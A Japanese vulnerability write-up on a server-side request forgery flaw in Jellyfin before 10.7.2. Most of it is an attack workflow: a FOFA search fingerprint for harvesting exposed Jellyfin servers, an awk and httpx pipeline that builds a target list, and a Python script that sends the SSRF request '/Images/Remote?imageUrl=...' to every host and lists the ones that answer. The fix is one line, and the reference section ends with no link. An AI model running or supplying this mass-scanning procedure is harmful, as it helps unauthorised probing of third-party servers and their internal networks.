漏洞概要#
Jellyfin は、メディアの管理とストリーミングを制御することができるフリーソフトウェアのメディアシステムです。これは、専用のサーバーからエンドユーザーのデバイスにメディアを提供するために、複数のアプリケーションを介して利用することができます。Jellyfin は、Emby 3.5.2 の後継であり、完全なクロスプラットフォームサポートを提供するために.NET Core フレームワークに移植されました。追加の条件はなく、単により良いものを構築し、共同で取り組んで実現するためのチームの努力です。すべてのユーザーが最高のメディアシステムにアクセスできるようにすることに専念しています。
Jellyfin RemoteImageController.cs ファイルには、SSRF(Server-Side Request Forgery)の脆弱性が存在し、特殊なリクエストを構築することで内部ネットワークの情報を探知することができます。
影響を受けるバージョン#
Jellyfin < 10.7.2
脆弱性の再現#
fofa 検索エンジンのフィンガープリントは次のとおりです:"Jellyfin" && port="8096"。Fofa 采集工具.exeを使用して資産を一括収集します。
収集した資産の結果は、同じディレクトリに result.csv ファイルとして保存されます。
シェルコマンドを使用して IP またはドメインをフィルタリングします。
cat result.csv | awk -F "," '{print $2}' | httpx >> Jellyfin.txt
次に、Python スクリプトを使用して一括で検証します。
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def Jellyfin():
with open("Jellyfin.txt") as file:
for line in file:
vuln_url = line + "/Images/Remote?imageUrl=http://www.baidu.com"
try:
response = requests.get(url=vuln_url, verify=False, timeout=10)
if response.status_code == 200:
print(vuln_url)
else:
pass
continue
except Exception as e:
pass
#print(e)
continue
def main():
Jellyfin()
if __name__ == '__main__':
main()
脆弱性の修正#
バージョンを更新してください。
参考リンク#
SSRF 脆弱性については、次の記事を参照してください: